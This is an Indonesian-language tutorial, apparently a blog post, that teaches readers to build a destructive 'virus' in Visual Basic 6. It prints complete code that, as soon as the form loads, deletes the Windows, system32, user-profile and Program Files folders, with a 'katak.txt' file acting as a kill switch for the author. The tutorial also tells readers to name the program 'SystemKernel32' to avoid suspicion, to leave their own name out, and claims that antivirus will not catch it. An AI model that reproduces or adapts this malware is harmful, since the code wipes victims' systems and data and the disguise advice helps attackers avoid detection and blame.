Ini salah satu tutorial untuk membuat virus yang cukup mematikan, tapi simple, dan sepertinya tidak akan terdekteksi antivirus, karena cara kerjanya sangat simple

Yang kita perlukan:

1. VB(optimal : 6.0)
2. Mengerti tombol-tombol pada VB

Tutorial Membuat Virus hanya 1 menit :

1. Buat form sekecil mungkin
2. Didalam form itu, masukan kode ini

Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub

Private Sub Form_Load()
On Error Resume Next

If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub

Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function

3. Kode yang warna biru itu merupakan penangkal virus ini, barang kali kalian tidak sengaja menekan jadi kalian selamat. Jadi di folder c:\windows\system32\ jika ada file namanya katak.txt, kalian tidak bakal terserang sendiri… bisa juga kalian edit seperti apa yang kalian inginkan…

Yang warna merah itu folder yang akan didelete oleh virus ini, kalian edit sendiri saja…

4. Buat project ini namanya seperti nama system, disini saya akan menggunakan nama “SystemKernel32″ jadi tidak akanl dicurigai.

5. Jangan pernah menyimpan nama kalian pada virus ini…

6. Selanjutnya kita compile… dan selesai!